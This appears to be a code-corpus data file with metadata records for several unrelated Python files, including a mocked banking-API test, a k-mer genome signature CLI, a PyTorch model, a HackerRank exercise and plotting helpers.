vartrix/__init__.py | pythoro/vartrix | 0 | 6616240 | # -*- coding: utf-8 -*-
"""
Created on Mon Aug 26 16:12:03 2019
@author: Reuben
"""
from . import utils
from . import settings
from . import persist
from . import container, view
from . import automate
from . import namespace
from .persist import load, save
from .namespace import Name_Space, get_container
from .container import Container
from .view import View
from .automate import Automator, Aliases
from .utils import Factory, Simple_Factory
| # -*- coding: utf-8 -*-
"""
Created on Mon Aug 26 16:12:03 2019
@author: Reuben
"""
from . import utils
from . import settings
from . import persist
from . import container, view
from . import automate
from . import namespace
from .persist import load, save
from .namespace import Name_Space, get_container
from .container import Container
from .view import View
from .automate import Automator, Aliases
from .utils import Factory, Simple_Factory
| en | 0.690618 | # -*- coding: utf-8 -*- Created on Mon Aug 26 16:12:03 2019 @author: Reuben | 1.236071 | 1 |
tests/test_merchants.py | JeremyDTaylor/fractal-python | 1 | 6616241 | <reponame>JeremyDTaylor/fractal-python
import pytest
from fractal_python.api_client import PARTNER_ID_HEADER, ApiClient
from fractal_python.banking import retrieve_merchants
from tests.test_api_client import make_sandbox
GET_MERCHANTS = {
"results": [
{
"id": "categoryId1234",
"name": "Vitalityhealth",
"categoryCode": "",
"addressLine": "",
},
{
"id": "categoryId2345",
"name": "Google",
"categoryCode": "",
"addressLine": "",
},
{"id": "categoryId3456", "name": "Uber", "categoryCode": "", "addressLine": ""},
],
"links": {},
}
GET_MERCHANTS_PAGED = {
"results": [
{"id": "categoryId3456", "name": "Lime", "categoryCode": "", "addressLine": ""}
],
"links": {"next": "mock://test/banking/v2/merchants?pageId=2"},
}
@pytest.fixture()
def merchants_client(requests_mock) -> ApiClient:
request_headers = {
PARTNER_ID_HEADER: "sandbox-partner",
}
requests_mock.register_uri(
"GET",
"/banking/v2/merchants",
json=GET_MERCHANTS_PAGED,
request_headers=request_headers,
)
requests_mock.register_uri(
"GET",
"/banking/v2/merchants?pageId=2",
json=GET_MERCHANTS,
request_headers=request_headers,
)
return make_sandbox(requests_mock)
def test_retrieve_merchants(merchants_client: ApiClient):
merchants = [
item
for sublist in retrieve_merchants(client=merchants_client)
for item in sublist
]
assert len(merchants) == 4
| import pytest
from fractal_python.api_client import PARTNER_ID_HEADER, ApiClient
from fractal_python.banking import retrieve_merchants
from tests.test_api_client import make_sandbox
GET_MERCHANTS = {
"results": [
{
"id": "categoryId1234",
"name": "Vitalityhealth",
"categoryCode": "",
"addressLine": "",
},
{
"id": "categoryId2345",
"name": "Google",
"categoryCode": "",
"addressLine": "",
},
{"id": "categoryId3456", "name": "Uber", "categoryCode": "", "addressLine": ""},
],
"links": {},
}
GET_MERCHANTS_PAGED = {
"results": [
{"id": "categoryId3456", "name": "Lime", "categoryCode": "", "addressLine": ""}
],
"links": {"next": "mock://test/banking/v2/merchants?pageId=2"},
}
@pytest.fixture()
def merchants_client(requests_mock) -> ApiClient:
request_headers = {
PARTNER_ID_HEADER: "sandbox-partner",
}
requests_mock.register_uri(
"GET",
"/banking/v2/merchants",
json=GET_MERCHANTS_PAGED,
request_headers=request_headers,
)
requests_mock.register_uri(
"GET",
"/banking/v2/merchants?pageId=2",
json=GET_MERCHANTS,
request_headers=request_headers,
)
return make_sandbox(requests_mock)
def test_retrieve_merchants(merchants_client: ApiClient):
merchants = [
item
for sublist in retrieve_merchants(client=merchants_client)
for item in sublist
]
assert len(merchants) == 4 | none | 1 | 2.250093 | 2 | |
drf_localize/commons/helpers/__init__.py | ebs-integrator/DRF-Localize | 3 | 6616242 | <reponame>ebs-integrator/DRF-Localize
import os
from contextlib import suppress
# Create your helper functions here.
def format_lazy(s, *args, **kwargs):
return s.format(*args, **kwargs)
def upsert_file(path):
"""
Create sub-folders and folders by path
"""
# Ignore exception if setting a file without a directory
with suppress(FileNotFoundError):
os.makedirs(os.path.dirname(path), exist_ok=True)
| import os
from contextlib import suppress
# Create your helper functions here.
def format_lazy(s, *args, **kwargs):
return s.format(*args, **kwargs)
def upsert_file(path):
"""
Create sub-folders and folders by path
"""
# Ignore exception if setting a file without a directory
with suppress(FileNotFoundError):
os.makedirs(os.path.dirname(path), exist_ok=True) | en | 0.824394 | # Create your helper functions here. Create sub-folders and folders by path # Ignore exception if setting a file without a directory | 2.750348 | 3 |
ksiga/main.py | yumyai/ksiga | 0 | 6616243 | <gh_stars>0
#!/usr/bin/env python
""" Main entry of the script.
"""
import argparse
import sys
import os
import gzip
import datetime
import numpy as np
from sklearn.preprocessing import normalize
from ksiga import ksignature
from ksiga import logutil
from ksiga import fsig
USAGE = """
"""
def openner(filename, **kwargs):
"""Try to return a sensible filehandle
Args:
filename (string): name of a file. Absolute/Relative path should work.
Returns: TODO
"""
if filename.endswith(".gz"):
return gzip.open(filename, **kwargs)
else:
return open(filename, **kwargs)
def main():
commands = {"index": index,
"relent": relative_entropy,
"cre_kmer": cre_kmer,
"acf": average_common_feature,
"acf_kmer": acf_kmer,
"ofc": observe_feature_frequency,
"ofc_kmer": ofc_kmer,
"gen_dmatrix": generate_distance_matrix
}
parser = argparse.ArgumentParser(description="Signature for virus",
usage="""ksiga <command> [<args>]
Commands can be:
index <filenames> Compute k-mer.
cre_kmer <filename.sig> Compute optimal k-mer from CRE.
acf_kmer <filename.sig> Compute optimal k-mer from ACF.
ofc_kmer <filename.sig> Compute optimal k-mer from OFC.
cre <filename.sig> Compute cumulative relative entropy.
acf <filenames.sig> Compute average number of common feature between signatures.
ofc <filenames.sig> Compute observed feature frequencies.
relent <filename.sig> Compute relative entropy.
dmatrix <filenames.sig> Compute distance matrix.
""")
parser.add_argument('command')
args = parser.parse_args(sys.argv[1:2])
if args.command not in commands:
parser.print_help()
sys.exit(1)
cmd = commands.get(args.command)
cmd(sys.argv[2:])
def index(args):
""" Create index for input sequences
Args:
args (TODO): TODO
Returns: TODO
"""
parser = argparse.ArgumentParser(usage="usage:'%(prog)s index [options]'")
parser.add_argument("filenames", nargs="+", help="file(s) of sequences")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
parser.add_argument("-f", "--force", action="store_true")
parser.add_argument("-r", "--canon", action="store_true", default=False, help="Use cannonical k-mer representation")
args = parser.parse_args(args)
filenames = args.filenames
ksize = args.ksize
od = args.output
force = args.force
for filename in od:
if not os.path.exists(filename):
# TODO: Warn or exit here.
pass
# Change this, since using mulitple filename does not make sense.
#for filename in filenames:
filename = filenames[0]
outputName = "{fn}".format(fn=od)
fInputH = openner(filename, mode="rt")
ksignature.build_signature(fInputH, ksize, outputName, force)
def relative_entropy(args):
""" Calculate relative entropy of genome.
Args:
args (TODO): TODO
Returns: TODO
"""
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--file", required=True, help="")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
args = parser.parse_args(args)
if args.output is None:
foh = sys.stdout
else:
foh = open(args.output, "w")
relEntropy = fsig.calculate_relative_entropy(args.file, args.ksize)
# Print metadata
print("# input file: {}".format(args.file))
print("# Run on {}".format(str(datetime.datetime.now())))
print(relEntropy, file=foh)
def average_common_feature(args):
""" Calculate an average number of common feature pairwise
between one genome against others
Args:
args (TODO): TODO
Returns: TODO
"""
desc = "Calculate average number of common feature"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
parser.add_argument("--lowmem", action="store_true")
args = parser.parse_args(args)
filenames = args.filenames
outF = args.output
if outF is None:
outHandle = sys.stdout
else:
outHandle = open(outF, "w")
# Choose to use low mem but slow, or fast but eat memoery like a whale.
if args.lowmem:
acf_func = fsig.lowmem_calculate_average_common_feature
else:
acf_func = fsig.calculate_average_common_feature
acf = acf_func(args.filenames, args.ksize)
acf = np.round(acf, 2)
baseFilenames = (os.path.basename(filename) for filename in filenames)
for filename, val in zip(baseFilenames, acf):
print("{}\t{}".format(filename, val), file=outHandle)
def observe_feature_frequency(args):
""" Calculate an observe feature frequency
Args:
args (TODO): TODO
Returns: TODO
"""
parser = argparse.ArgumentParser()
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-w", "--wd", default=os.getcwd())
parser.add_argument("-o", "--output")
parser.add_argument("--lowmem", action="store_true")
args = parser.parse_args(args)
ksize = args.ksize
output = args.output
outputFH = open(output, "w") if output else sys.stdout
if args.lowmem:
ofc_func = fsig.lowmem_calculate_ofc_shannon
else:
ofc_func = fsig.calculate_ofc_shannon
shannon_size = ofc_func(args.filenames, ksize)
outputLine = "{}\t{}".format(ksize, shannon_size)
print(outputLine, file=outputFH)
def cre_kmer(args):
""" Calculate optimal k-mer through CRE value.
Args:
args (TODO): TODO
Returns: TODO
"""
desc = "Calculate k-mer from cumulative relative entropy of all genomes"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-ks", "--kfrom", required=True, type=int, help="Calculate from k-mer")
parser.add_argument("-ke", "--kend", required=True, type=int, help="last k-mer")
parser.add_argument("-o", "--output")
parser.add_argument("-r", "--report", default="cre.txt")
args = parser.parse_args(args)
filenames = args.filenames
kmerStart = args.kfrom
kmerEnd = args.kend
cres = []
kmers = []
for filename in filenames:
logutil.debug("Working on {}".format(filename))
cre, kmer = fsig.calculate_cre_kmer(filename, kmerStart, kmerEnd)
cres.append(cre)
kmers.append(kmer)
cres = np.vstack(cres)
# Write report.
suggestKmer = int(round(np.mean(kmers)))
print("Suggest k-mer based on CRE value is {}".format(suggestKmer))
def acf_kmer(args):
""" Calculate an average number of common feature pairwise
between one genome against others
Args:
args (TODO): TODO
Returns: TODO
"""
desc = "Calculate optimal k-mer from average number of common feature"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-ks", "--kfrom", required=True, type=int, help="Calculate from k-mer")
parser.add_argument("-ke", "--kend", required=True, type=int, help="last k-mer")
parser.add_argument("-r", "--report", default="acf.txt")
parser.add_argument("-o", "--output")
args = parser.parse_args(args)
filenames = args.filenames
outF = args.output
kmerStart = args.kfrom
kmerEnd = args.kend
if outF is None:
outHandle = sys.stdout.buffer
else:
outHandle = open(outF, "wb") # wb for numpy write
acf, kmers = fsig.calculate_acf_kmer(filenames, kmerStart, kmerEnd)
acf = np.hstack(acf)
suggestKmer = int(round(np.mean(kmers)))
print("Suggest k-mer based on ACF value is {}".format(suggestKmer))
def ofc_kmer(args):
""" Calculate an observe feature frequency
Args:
args (TODO): TODO
Returns: TODO
"""
desc = "Calculate average number of common feature"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-ks", "--kfrom", required=True, type=int, help="Calculate from k-mer")
parser.add_argument("-ke", "--kend", required=True, type=int, help="last k-mer")
parser.add_argument("-r", "--report", default="ofc.txt")
parser.add_argument("-o", "--output")
args = parser.parse_args(args)
filenames = args.filenames
outF = args.output
kmerStart = args.kfrom
kmerEnd = args.kend
percentage, suggestKmer = fsig.calculate_ofc_kmer(filenames, kmerStart, kmerEnd)
print("Suggest k-mer based on OCF value is {}".format(suggestKmer))
outF = args.output
if outF is None:
outHandle = sys.stdout.buffer
else:
outHandle = open(outF, "wb") # wb for numpy write
def generate_distance_matrix(args):
"""Generate distance matrix base on k-mer
The output will
Args:
args (TODO): TODO
Returns: TODO
"""
import ksiga.fsig as fsig
from ksiga import distance
parser = argparse.ArgumentParser()
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
parser.add_argument("-t", "--n_thread", type=int, default=1)
parser.add_argument("-d", "--distance", default="euclid")
args = parser.parse_args(args)
fn = distance.get_distance_function(args.distance)
# Delegate to function in distance.
filenames = args.filenames
ksize = args.ksize
outF = args.output
if outF is None:
outHandle = sys.stdout.buffer
else:
outHandle = open(outF, "wb") # wb for numpy write
# Check for existence of file.
for filename in args.filenames:
if not os.path.exists(filename):
# TODO: Do something about this
pass
csr_matrix = fsig.rebuild_sparse_matrix(filenames, ksize)
rowNum = csr_matrix.shape[0]
# Normalize data before calculate distance
csr_matrix_norm = normalize(csr_matrix, norm='l1', axis=1)
result = fn(csr_matrix_norm)
np.savetxt(outHandle, result)
# Output for file
flistH = open("{}.inputlist".format(outF), 'w')
for f in filenames:
flistH.write(f)
flistH.write("\n")
# Logging
logutil.notify("Result is written to {}".format(outF))
logutil.notify("Filelist is written to {}".format(outF))
sys.exit(0)
def lowmem_generate_distance_matrix(args):
"""Generate distance matrix base on k-mer. Unlike the normal version counterpart, it relied heavily on looping.
Args:
args (TODO): TODO
Returns: TODO
"""
import ksiga.fsig as fsig
from ksiga import distance
parser = argparse.ArgumentParser()
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
parser.add_argument("-t", "--n_thread", type=int, default=1)
parser.add_argument("-d", "--distance", default="euclid")
args = parser.parse_args(args)
fn = distance.get_distance_function(args.distance)
# Temporary array. | #!/usr/bin/env python
""" Main entry of the script.
"""
import argparse
import sys
import os
import gzip
import datetime
import numpy as np
from sklearn.preprocessing import normalize
from ksiga import ksignature
from ksiga import logutil
from ksiga import fsig
USAGE = """
"""
def openner(filename, **kwargs):
"""Try to return a sensible filehandle
Args:
filename (string): name of a file. Absolute/Relative path should work.
Returns: TODO
"""
if filename.endswith(".gz"):
return gzip.open(filename, **kwargs)
else:
return open(filename, **kwargs)
def main():
commands = {"index": index,
"relent": relative_entropy,
"cre_kmer": cre_kmer,
"acf": average_common_feature,
"acf_kmer": acf_kmer,
"ofc": observe_feature_frequency,
"ofc_kmer": ofc_kmer,
"gen_dmatrix": generate_distance_matrix
}
parser = argparse.ArgumentParser(description="Signature for virus",
usage="""ksiga <command> [<args>]
Commands can be:
index <filenames> Compute k-mer.
cre_kmer <filename.sig> Compute optimal k-mer from CRE.
acf_kmer <filename.sig> Compute optimal k-mer from ACF.
ofc_kmer <filename.sig> Compute optimal k-mer from OFC.
cre <filename.sig> Compute cumulative relative entropy.
acf <filenames.sig> Compute average number of common feature between signatures.
ofc <filenames.sig> Compute observed feature frequencies.
relent <filename.sig> Compute relative entropy.
dmatrix <filenames.sig> Compute distance matrix.
""")
parser.add_argument('command')
args = parser.parse_args(sys.argv[1:2])
if args.command not in commands:
parser.print_help()
sys.exit(1)
cmd = commands.get(args.command)
cmd(sys.argv[2:])
def index(args):
""" Create index for input sequences
Args:
args (TODO): TODO
Returns: TODO
"""
parser = argparse.ArgumentParser(usage="usage:'%(prog)s index [options]'")
parser.add_argument("filenames", nargs="+", help="file(s) of sequences")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
parser.add_argument("-f", "--force", action="store_true")
parser.add_argument("-r", "--canon", action="store_true", default=False, help="Use cannonical k-mer representation")
args = parser.parse_args(args)
filenames = args.filenames
ksize = args.ksize
od = args.output
force = args.force
for filename in od:
if not os.path.exists(filename):
# TODO: Warn or exit here.
pass
# Change this, since using mulitple filename does not make sense.
#for filename in filenames:
filename = filenames[0]
outputName = "{fn}".format(fn=od)
fInputH = openner(filename, mode="rt")
ksignature.build_signature(fInputH, ksize, outputName, force)
def relative_entropy(args):
""" Calculate relative entropy of genome.
Args:
args (TODO): TODO
Returns: TODO
"""
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--file", required=True, help="")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
args = parser.parse_args(args)
if args.output is None:
foh = sys.stdout
else:
foh = open(args.output, "w")
relEntropy = fsig.calculate_relative_entropy(args.file, args.ksize)
# Print metadata
print("# input file: {}".format(args.file))
print("# Run on {}".format(str(datetime.datetime.now())))
print(relEntropy, file=foh)
def average_common_feature(args):
""" Calculate an average number of common feature pairwise
between one genome against others
Args:
args (TODO): TODO
Returns: TODO
"""
desc = "Calculate average number of common feature"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
parser.add_argument("--lowmem", action="store_true")
args = parser.parse_args(args)
filenames = args.filenames
outF = args.output
if outF is None:
outHandle = sys.stdout
else:
outHandle = open(outF, "w")
# Choose to use low mem but slow, or fast but eat memoery like a whale.
if args.lowmem:
acf_func = fsig.lowmem_calculate_average_common_feature
else:
acf_func = fsig.calculate_average_common_feature
acf = acf_func(args.filenames, args.ksize)
acf = np.round(acf, 2)
baseFilenames = (os.path.basename(filename) for filename in filenames)
for filename, val in zip(baseFilenames, acf):
print("{}\t{}".format(filename, val), file=outHandle)
def observe_feature_frequency(args):
""" Calculate an observe feature frequency
Args:
args (TODO): TODO
Returns: TODO
"""
parser = argparse.ArgumentParser()
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-w", "--wd", default=os.getcwd())
parser.add_argument("-o", "--output")
parser.add_argument("--lowmem", action="store_true")
args = parser.parse_args(args)
ksize = args.ksize
output = args.output
outputFH = open(output, "w") if output else sys.stdout
if args.lowmem:
ofc_func = fsig.lowmem_calculate_ofc_shannon
else:
ofc_func = fsig.calculate_ofc_shannon
shannon_size = ofc_func(args.filenames, ksize)
outputLine = "{}\t{}".format(ksize, shannon_size)
print(outputLine, file=outputFH)
def cre_kmer(args):
""" Calculate optimal k-mer through CRE value.
Args:
args (TODO): TODO
Returns: TODO
"""
desc = "Calculate k-mer from cumulative relative entropy of all genomes"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-ks", "--kfrom", required=True, type=int, help="Calculate from k-mer")
parser.add_argument("-ke", "--kend", required=True, type=int, help="last k-mer")
parser.add_argument("-o", "--output")
parser.add_argument("-r", "--report", default="cre.txt")
args = parser.parse_args(args)
filenames = args.filenames
kmerStart = args.kfrom
kmerEnd = args.kend
cres = []
kmers = []
for filename in filenames:
logutil.debug("Working on {}".format(filename))
cre, kmer = fsig.calculate_cre_kmer(filename, kmerStart, kmerEnd)
cres.append(cre)
kmers.append(kmer)
cres = np.vstack(cres)
# Write report.
suggestKmer = int(round(np.mean(kmers)))
print("Suggest k-mer based on CRE value is {}".format(suggestKmer))
def acf_kmer(args):
""" Calculate an average number of common feature pairwise
between one genome against others
Args:
args (TODO): TODO
Returns: TODO
"""
desc = "Calculate optimal k-mer from average number of common feature"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-ks", "--kfrom", required=True, type=int, help="Calculate from k-mer")
parser.add_argument("-ke", "--kend", required=True, type=int, help="last k-mer")
parser.add_argument("-r", "--report", default="acf.txt")
parser.add_argument("-o", "--output")
args = parser.parse_args(args)
filenames = args.filenames
outF = args.output
kmerStart = args.kfrom
kmerEnd = args.kend
if outF is None:
outHandle = sys.stdout.buffer
else:
outHandle = open(outF, "wb") # wb for numpy write
acf, kmers = fsig.calculate_acf_kmer(filenames, kmerStart, kmerEnd)
acf = np.hstack(acf)
suggestKmer = int(round(np.mean(kmers)))
print("Suggest k-mer based on ACF value is {}".format(suggestKmer))
def ofc_kmer(args):
""" Calculate an observe feature frequency
Args:
args (TODO): TODO
Returns: TODO
"""
desc = "Calculate average number of common feature"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-ks", "--kfrom", required=True, type=int, help="Calculate from k-mer")
parser.add_argument("-ke", "--kend", required=True, type=int, help="last k-mer")
parser.add_argument("-r", "--report", default="ofc.txt")
parser.add_argument("-o", "--output")
args = parser.parse_args(args)
filenames = args.filenames
outF = args.output
kmerStart = args.kfrom
kmerEnd = args.kend
percentage, suggestKmer = fsig.calculate_ofc_kmer(filenames, kmerStart, kmerEnd)
print("Suggest k-mer based on OCF value is {}".format(suggestKmer))
outF = args.output
if outF is None:
outHandle = sys.stdout.buffer
else:
outHandle = open(outF, "wb") # wb for numpy write
def generate_distance_matrix(args):
"""Generate distance matrix base on k-mer
The output will
Args:
args (TODO): TODO
Returns: TODO
"""
import ksiga.fsig as fsig
from ksiga import distance
parser = argparse.ArgumentParser()
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
parser.add_argument("-t", "--n_thread", type=int, default=1)
parser.add_argument("-d", "--distance", default="euclid")
args = parser.parse_args(args)
fn = distance.get_distance_function(args.distance)
# Delegate to function in distance.
filenames = args.filenames
ksize = args.ksize
outF = args.output
if outF is None:
outHandle = sys.stdout.buffer
else:
outHandle = open(outF, "wb") # wb for numpy write
# Check for existence of file.
for filename in args.filenames:
if not os.path.exists(filename):
# TODO: Do something about this
pass
csr_matrix = fsig.rebuild_sparse_matrix(filenames, ksize)
rowNum = csr_matrix.shape[0]
# Normalize data before calculate distance
csr_matrix_norm = normalize(csr_matrix, norm='l1', axis=1)
result = fn(csr_matrix_norm)
np.savetxt(outHandle, result)
# Output for file
flistH = open("{}.inputlist".format(outF), 'w')
for f in filenames:
flistH.write(f)
flistH.write("\n")
# Logging
logutil.notify("Result is written to {}".format(outF))
logutil.notify("Filelist is written to {}".format(outF))
sys.exit(0)
def lowmem_generate_distance_matrix(args):
"""Generate distance matrix base on k-mer. Unlike the normal version counterpart, it relied heavily on looping.
Args:
args (TODO): TODO
Returns: TODO
"""
import ksiga.fsig as fsig
from ksiga import distance
parser = argparse.ArgumentParser()
parser.add_argument("filenames", nargs="+", help="file(s) of signature")
parser.add_argument("-k", "--ksize", required=True, type=int)
parser.add_argument("-o", "--output")
parser.add_argument("-t", "--n_thread", type=int, default=1)
parser.add_argument("-d", "--distance", default="euclid")
args = parser.parse_args(args)
fn = distance.get_distance_function(args.distance)
# Temporary array. | en | 0.617836 | #!/usr/bin/env python Main entry of the script. Try to return a sensible filehandle Args: filename (string): name of a file. Absolute/Relative path should work. Returns: TODO ksiga <command> [<args>] Commands can be: index <filenames> Compute k-mer. cre_kmer <filename.sig> Compute optimal k-mer from CRE. acf_kmer <filename.sig> Compute optimal k-mer from ACF. ofc_kmer <filename.sig> Compute optimal k-mer from OFC. cre <filename.sig> Compute cumulative relative entropy. acf <filenames.sig> Compute average number of common feature between signatures. ofc <filenames.sig> Compute observed feature frequencies. relent <filename.sig> Compute relative entropy. dmatrix <filenames.sig> Compute distance matrix. Create index for input sequences Args: args (TODO): TODO Returns: TODO # TODO: Warn or exit here. # Change this, since using mulitple filename does not make sense. #for filename in filenames: Calculate relative entropy of genome. Args: args (TODO): TODO Returns: TODO # Print metadata Calculate an average number of common feature pairwise between one genome against others Args: args (TODO): TODO Returns: TODO # Choose to use low mem but slow, or fast but eat memoery like a whale. Calculate an observe feature frequency Args: args (TODO): TODO Returns: TODO Calculate optimal k-mer through CRE value. Args: args (TODO): TODO Returns: TODO # Write report. Calculate an average number of common feature pairwise between one genome against others Args: args (TODO): TODO Returns: TODO # wb for numpy write Calculate an observe feature frequency Args: args (TODO): TODO Returns: TODO # wb for numpy write Generate distance matrix base on k-mer The output will Args: args (TODO): TODO Returns: TODO # Delegate to function in distance. # wb for numpy write # Check for existence of file. # TODO: Do something about this # Normalize data before calculate distance # Output for file # Logging Generate distance matrix base on k-mer. Unlike the normal version counterpart, it relied heavily on looping. Args: args (TODO): TODO Returns: TODO # Temporary array. | 2.634253 | 3 |
Python_3/Easy/Python_If_Else.py | NagiLam/HackerRank | 0 | 6616244 | <reponame>NagiLam/HackerRank
""" Problem: Python If-Else || Task:
Given an integer, n, perform the following conditional actions:
1. If n is odd, print Weird
2. If n is even and in the inclusive range of 2 to 5, print Not Weird
3. If n is even and in the inclusive range of 6 to 20, print Weird
4. If n is even and greater than 20, print Not Weird
"""
N = int(input())
if N % 2 != 0:
print("Weird")
elif N % 2 == 0:
if N in range (2, 6):
print("Not Weird")
if N in range (6, 21):
print("Weird")
elif N > 20:
print("Not Weird")
| """ Problem: Python If-Else || Task:
Given an integer, n, perform the following conditional actions:
1. If n is odd, print Weird
2. If n is even and in the inclusive range of 2 to 5, print Not Weird
3. If n is even and in the inclusive range of 6 to 20, print Weird
4. If n is even and greater than 20, print Not Weird
"""
N = int(input())
if N % 2 != 0:
print("Weird")
elif N % 2 == 0:
if N in range (2, 6):
print("Not Weird")
if N in range (6, 21):
print("Weird")
elif N > 20:
print("Not Weird") | en | 0.90505 | Problem: Python If-Else || Task: Given an integer, n, perform the following conditional actions: 1. If n is odd, print Weird 2. If n is even and in the inclusive range of 2 to 5, print Not Weird 3. If n is even and in the inclusive range of 6 to 20, print Weird 4. If n is even and greater than 20, print Not Weird | 4.017813 | 4 |
models.py | TimRoith/CLIP | 5 | 6616245 | import torch.nn as nn
import torch
import torch.nn.functional as F
class Flatten(nn.Module):
def forward(self, x):
return x.view(x.size(0), -1)
def get_model(conf):
model = None
if conf.model.lower() == "fc":
model = fully_connected(conf)
else:
raise NameError("Modelname: {} does not exist!".format(conf.model))
model = model.to(conf.device)
return model
def get_activation_function(activation_function):
af = None
if activation_function == "ReLU":
af = nn.ReLU
elif activation_function == "sigmoid":
af = nn.Sigmoid
else:
af = nn.ReLU
return af
class fully_connected(nn.Module):
def __init__(self, sizes, act_fun, mean = 0.0, std = 1.0):
super(fully_connected, self).__init__()
self.act_fn = get_activation_function(act_fun)
self.mean = mean
self.std = std
layer_list = [Flatten()]
for i in range(len(sizes)-1):
layer_list.append(nn.Linear(sizes[i], sizes[i+1]))
layer_list.append(self.act_fn())
self.layers = nn.Sequential(*layer_list)
def forward(self, x):
x = (x - self.mean)/self.std
return self.layers(x)
| import torch.nn as nn
import torch
import torch.nn.functional as F
class Flatten(nn.Module):
def forward(self, x):
return x.view(x.size(0), -1)
def get_model(conf):
model = None
if conf.model.lower() == "fc":
model = fully_connected(conf)
else:
raise NameError("Modelname: {} does not exist!".format(conf.model))
model = model.to(conf.device)
return model
def get_activation_function(activation_function):
af = None
if activation_function == "ReLU":
af = nn.ReLU
elif activation_function == "sigmoid":
af = nn.Sigmoid
else:
af = nn.ReLU
return af
class fully_connected(nn.Module):
def __init__(self, sizes, act_fun, mean = 0.0, std = 1.0):
super(fully_connected, self).__init__()
self.act_fn = get_activation_function(act_fun)
self.mean = mean
self.std = std
layer_list = [Flatten()]
for i in range(len(sizes)-1):
layer_list.append(nn.Linear(sizes[i], sizes[i+1]))
layer_list.append(self.act_fn())
self.layers = nn.Sequential(*layer_list)
def forward(self, x):
x = (x - self.mean)/self.std
return self.layers(x)
| none | 1 | 2.838281 | 3 | |
vanilla_scrap/test/private/Basic_Module.py | drumcap/vanillaPython | 0 | 6616246 | <gh_stars>0
# coding: utf-8
# # Train Classifier For News Classification
# > ## * Word2Vec
def Make_Roc_Curve(x, y, model1, model2, model3, model4):
import matplotlib.pyplot as plt
print ('Logistic Regression')
fpr1, tpr1, thresholds1 = roc_curve(y, model1.predict(x))
print ('Random Forest')
fpr2, tpr2, thresholds2 = roc_curve(y, model2.predict(x))
print ('Kernel SVM')
fpr3, tpr3, thresholds3 = roc_curve(y, model3.predict(x))
print ('XGBoost')
import xgboost as xgb
fpr4, tpr4, thresholds4 = roc_curve(y, model4.predict(xgb.DMatrix(x)))
plt.plot(fpr1, tpr1, label="Logistic Regression")
plt.plot(fpr2, tpr2, label="RandomForest")
plt.plot(fpr3, tpr3, label="Kernel SVM")
plt.plot(fpr4, tpr4, label='XGBoost')
plt.legend()
plt.plot([0, 1], [0, 1], 'k--', label="random guess")
plt.xlabel('False Positive Rate (Fall-Out)')
plt.ylabel('True Positive Rate (Recall)')
plt.title('Receiver operating characteristic')
plt.show()
def plot_history(history):
import matplotlib.pyplot as plt
"""Plot model history after `fit()`.
"""
# summarize history for accuracy
plt.plot(history.history['acc'])
plt.plot(history.history['val_acc'])
plt.title('model accuracy')
plt.ylabel('accuracy')
plt.xlabel('epoch')
plt.legend(['train', 'valid'], loc='upper left')
plt.show()
# summarize history for loss
plt.plot(history.history['loss'])
plt.plot(history.history['val_loss'])
plt.title('model loss')
plt.ylabel('loss')
plt.xlabel('epoch')
plt.legend(['train', 'valid'], loc='upper left')
plt.show()
def Make_TSNE1(n_component, model, wv, limit):
from sklearn.manifold import TSNE
import matplotlib.pyplot as plt
import pandas as pd
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
wv = wv[:limit]
tsne_model = TSNE(n_components=n_component,
verbose = 1, random_state = 0)
tsne_w2v = tsne_model.fit_transform(wv)
tsne_df = pd.DataFrame(tsne_w2v, columns = ['x', 'y'])
tsne_df['words'] = list(model.wv.vocab.keys())[:limit]
i = 0
for i in tqdm(range(tsne_df['words'].size)):
plt.scatter(tsne_df['x'][i], tsne_df['y'][i])
plt.annotate(tsne_df['words'][i],
xy = (tsne_df['x'][i], tsne_df['y'][i]))
plt.show()
def Make_TSNE2(n_component, model, wv, limit):
from sklearn.manifold import TSNE
import matplotlib.pyplot as plt
import pandas as pd
from tqdm import tqdm
import bokeh.plotting as bp
from bokeh.models import HoverTool, BoxSelectTool
from bokeh.plotting import figure, show, output_notebook
output_notebook()
plot_tfidf = bp.figure(plot_width=500, plot_height=500, title="A map of word vectors",
tools="pan,wheel_zoom,box_zoom,reset,hover,previewsave",
x_axis_type=None, y_axis_type=None, min_border=1)
word_vectors = [model[w] for w in tqdm(list(model.wv.vocab.keys())[:limit])]
tsne_model = TSNE(n_components=n_component, verbose=1, random_state=0)
tsne_w2v = tsne_model.fit_transform(word_vectors)
# putting everything in a dataframe
tsne_df = pd.DataFrame(tsne_w2v, columns=['x', 'y'])
